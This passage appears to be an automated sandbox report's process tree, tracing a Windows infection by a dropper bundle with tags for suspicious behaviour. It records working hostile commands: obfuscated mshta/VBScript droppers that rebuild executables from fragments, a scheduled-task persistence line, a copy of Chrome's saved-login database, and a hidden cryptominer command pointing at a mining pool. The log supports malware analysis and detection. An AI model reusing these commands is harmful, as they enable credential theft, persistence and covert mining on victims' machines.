C:\Users\Admin\AppData\Roaming\5093277.exe"C:\Users\Admin\AppData\Roaming\5093277.exe"9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Soft1WW01.exe"C:\Users\Admin\AppData\Local\Temp\Soft1WW01.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\chrome.exe"C:\Users\Admin\AppData\Local\Temp\chrome.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"9⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Local\Temp\chrome2.exe"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"8⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )9⤵
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"10⤵
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi11⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )12⤵
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"13⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC13⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "14⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"14⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC14⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"11⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\zhanglijuan-game.exe"C:\Users\Admin\AppData\Local\Temp\zhanglijuan-game.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 7929⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 8049⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 8129⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 8249⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 9289⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵
- Loads dropped DLL
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--ZgwMku75"10⤵
-
C:\Users\Admin\AppData\Local\Temp\chrome3.exe"C:\Users\Admin\AppData\Local\Temp\chrome3.exe"8⤵
- Executes dropped EXE
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2648 -s 15449⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"8⤵
- Executes dropped EXE
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"9⤵
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"10⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"11⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"10⤵
-
C:\Users\Admin\AppData\Roaming\services64.exeC:\Users\Admin\AppData\Roaming\services64.exe11⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"12⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"13⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "/sihost64"14⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.udda/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6OAdluV/h8Wx+uVST9CwRTBBZDSizq+6yEkb73lzV2SG" --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth13⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon174a6c5f1664f.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon174a6c5f1664f.exeMon174a6c5f1664f.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon174a6c5f1664f.exeC:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon174a6c5f1664f.exe7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon17332e41e6b.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon17332e41e6b.exeMon17332e41e6b.exe6⤵
-
C:\Users\Admin\AppData\Roaming\4197520.exe"C:\Users\Admin\AppData\Roaming\4197520.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\3482271.exe"C:\Users\Admin\AppData\Roaming\3482271.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Roaming\7933448.exe"C:\Users\Admin\AppData\Roaming\7933448.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Roaming\2453573.exe"C:\Users\Admin\AppData\Roaming\2453573.exe"7⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\5149335.exe"C:\Users\Admin\AppData\Roaming\5149335.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\41575.exe"C:\Users\Admin\AppData\Roaming\41575.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon1708beae021a5ff.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon1708beae021a5ff.exeMon1708beae021a5ff.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\system32\mspaint.exeC:\Windows\system32\mspaint.exe7⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4392 -s 4927⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon1727c156c4abcec.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon1727c156c4abcec.exeMon1727c156c4abcec.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon1727c156c4abcec.exeC:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon1727c156c4abcec.exe7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon17afe24e0084db3.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon17afe24e0084db3.exeMon17afe24e0084db3.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon17afe24e0084db3.exe"C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon17afe24e0084db3.exe" -u7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon17bbf11fdb575d.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon17bbf11fdb575d.exeMon17bbf11fdb575d.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-MSOVB.tmp\Mon17bbf11fdb575d.tmp"C:\Users\Admin\AppData\Local\Temp\is-MSOVB.tmp\Mon17bbf11fdb575d.tmp" /SL5="$80054,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon17bbf11fdb575d.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon17bbf11fdb575d.exe"C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon17bbf11fdb575d.exe" /SILENT8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-IQ678.tmp\Mon17bbf11fdb575d.tmp"C:\Users\Admin\AppData\Local\Temp\is-IQ678.tmp\Mon17bbf11fdb575d.tmp" /SL5="$301A8,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon17bbf11fdb575d.exe" /SILENT9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-CI0DS.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-CI0DS.tmp\postback.exe" ss110⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon17a0d8ec302e.exe5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon17bffc2992eb3d.exe /mixone5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon175e6c8b40064b8c8.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\control.exe"C:\Windows\SysWOW64\control.exe"2⤵
- Adds policy Run key to start application
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\i9iBfSFpiJLNYdkx4pTJj13W.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe/c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"3⤵
-
C:\Windows\SysWOW64\msdt.exe"C:\Windows\SysWOW64\msdt.exe"2⤵
-
C:\Program Files (x86)\Mmx4hv\i4g4vtj2.exe"C:\Program Files (x86)\Mmx4hv\i4g4vtj2.exe"2⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
-
C:\Users\Admin\AppData\Roaming\tvssfjcC:\Users\Admin\AppData\Roaming\tvssfjc2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Roaming\tvssfjcC:\Users\Admin\AppData\Roaming\tvssfjc2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon175e6c8b40064b8c8.exeMon175e6c8b40064b8c8.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscRipT: ClOSe( crEatEobJECt ("wSCRIPT.SHEll" ).rUn ( "CMd.eXE /R tYpE ""C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon175e6c8b40064b8c8.exe"" > 6jZhRtW.EXe &&start 6jZHRTW.EXe /p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt & if """" == """" for %U In ( ""C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon175e6c8b40064b8c8.exe"" ) do taskkill -Im ""%~NxU"" -f " , 0 , tRUE ))2⤵
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R tYpE "C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon175e6c8b40064b8c8.exe" > 6jZhRtW.EXe &&start 6jZHRTW.EXe /p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt & if ""== "" for %U In ( "C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon175e6c8b40064b8c8.exe") do taskkill -Im "%~NxU" -f3⤵
-
C:\Users\Admin\AppData\Local\Temp\6jZhRtW.EXe6jZHRTW.EXe /p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt4⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscRipT: ClOSe( crEatEobJECt ("wSCRIPT.SHEll" ).rUn ( "CMd.eXE /R tYpE ""C:\Users\Admin\AppData\Local\Temp\6jZhRtW.EXe"" > 6jZhRtW.EXe &&start 6jZHRTW.EXe /p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt & if ""/p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt "" == """" for %U In ( ""C:\Users\Admin\AppData\Local\Temp\6jZhRtW.EXe"" ) do taskkill -Im ""%~NxU"" -f " , 0 , tRUE ))5⤵
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBsCrIpT: cLOse (CrEATEOBJECT ( "wScrIpT.ShelL"). RUn( "cMd /Q /R eCHO | SET /P = ""MZ"" > 1oZVDA.JaC & CoPy /y /b 1OZVDA.jAC+ GjuW~.A +HPIuT6.AM +bDJeH5.9 yLIh.BIn & Del GJuW~.A HPIUT6.AM BDJEH5.9 1oZVDA.jaC& stArt regsvr32.exe /S YLIH.bIN " , 0 ,TRuE) )5⤵
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /R eCHO | SET /P = "MZ" > 1oZVDA.JaC &CoPy /y /b 1OZVDA.jAC+ GjuW~.A +HPIuT6.AM +bDJeH5.9 yLIh.BIn & Del GJuW~.A HPIUT6.AM BDJEH5.9 1oZVDA.jaC& stArt regsvr32.exe /S YLIH.bIN6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eCHO "7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>1oZVDA.JaC"7⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe /S YLIH.bIN7⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill -Im "Mon175e6c8b40064b8c8.exe" -f4⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon17a0d8ec302e.exeMon17a0d8ec302e.exe1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon17bffc2992eb3d.exeMon17bffc2992eb3d.exe /mixone1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1376 -s 6602⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1376 -s 6642⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1376 -s 6482⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1376 -s 6642⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1376 -s 9082⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1376 -s 9682⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1376 -s 11162⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R tYpE "C:\Users\Admin\AppData\Local\Temp\6jZhRtW.EXe" > 6jZhRtW.EXe &&start 6jZHRTW.EXe /p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt & if "/p5WmgTwUrhSt5mLQDQ6uTWAP3bAjNt "== "" for %U In ( "C:\Users\Admin\AppData\Local\Temp\6jZhRtW.EXe") do taskkill -Im "%~NxU" -f1⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRIPt: cLOsE ( CrEATeoBjEcT ( "wsCrIpt.sHelL" ). RUn ("cmd /C copy /y ""C:\Users\Admin\AppData\Roaming\41575.exe"" LYCw0J.ExE &&stArT LYCw0J.exE /ptCSVoYGd9AYAP_3p6Sjuyj & iF """"== """" for %T in ( ""C:\Users\Admin\AppData\Roaming\41575.exe"") do taskkill /im ""%~nxT"" /f " , 0 ,tRue ) )1⤵
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C copy /y "C:\Users\Admin\AppData\Roaming\41575.exe" LYCw0J.ExE &&stArT LYCw0J.exE /ptCSVoYGd9AYAP_3p6Sjuyj & iF ""== "" for %T in ( "C:\Users\Admin\AppData\Roaming\41575.exe") do taskkill /im "%~nxT" /f2⤵
-
C:\Users\Admin\AppData\Local\Temp\LYCw0J.ExELYCw0J.exE /ptCSVoYGd9AYAP_3p6Sjuyj3⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRIPt: cLOsE ( CrEATeoBjEcT ( "wsCrIpt.sHelL" ). RUn ("cmd /C copy /y ""C:\Users\Admin\AppData\Local\Temp\LYCw0J.ExE"" LYCw0J.ExE &&stArT LYCw0J.exE /ptCSVoYGd9AYAP_3p6Sjuyj & iF ""/ptCSVoYGd9AYAP_3p6Sjuyj ""== """" for %T in ( ""C:\Users\Admin\AppData\Local\Temp\LYCw0J.ExE"") do taskkill /im ""%~nxT"" /f " , 0 ,tRue ) )4⤵
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C copy /y "C:\Users\Admin\AppData\Local\Temp\LYCw0J.ExE" LYCw0J.ExE &&stArT LYCw0J.exE /ptCSVoYGd9AYAP_3p6Sjuyj & iF "/ptCSVoYGd9AYAP_3p6Sjuyj "== "" for %T in ( "C:\Users\Admin\AppData\Local\Temp\LYCw0J.ExE") do taskkill /im "%~nxT" /f5⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCrIPt: cLOsE (cREAteoBject ( "wscRIPT.SHELl"). Run ( "C:\Windows\system32\cmd.exe /q /r ECho L%Time%07> 2B_LH.IT & EcHO | SEt /P = ""MZ"" > RqS~WQ.qCt& copY /Y /b RqS~WQ.QCt +WL4sXR.MY +JkOFKWNK.Eo7 + 2B_LH.IT BGG1KxA.y & DEl WL4sxR.My JkOFkWNk.EO7 2B_LH.IT RQS~WQ.QCT& stArT regsvr32 .\BgG1KXA.y -U -S " ,0 ,TRUe ) )4⤵
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /r ECho L%Time> 2B_LH.IT & EcHO | SEt /P = "MZ" > RqS~WQ.qCt& copY /Y /b RqS~WQ.QCt +WL4sXR.MY+JkOFKWNK.Eo7 +2B_LH.IT BGG1KxA.y & DEl WL4sxR.My JkOFkWNk.EO7 2B_LH.IT RQS~WQ.QCT& stArT regsvr32 .\BgG1KXA.y -U -S5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /P = "MZ" 1>RqS~WQ.qCt"6⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 .\BgG1KXA.y -U -S6⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "41575.exe" /f3⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Loads dropped DLL
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s wlidsvc1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding D87F2DBC0CEB9A7BD92E75F41B77BEBB C2⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 927C8C604BA362BEAF53A7756CF817742⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 69B32C96D08DFAFB70153432295E976F E Global\MSI00002⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
-
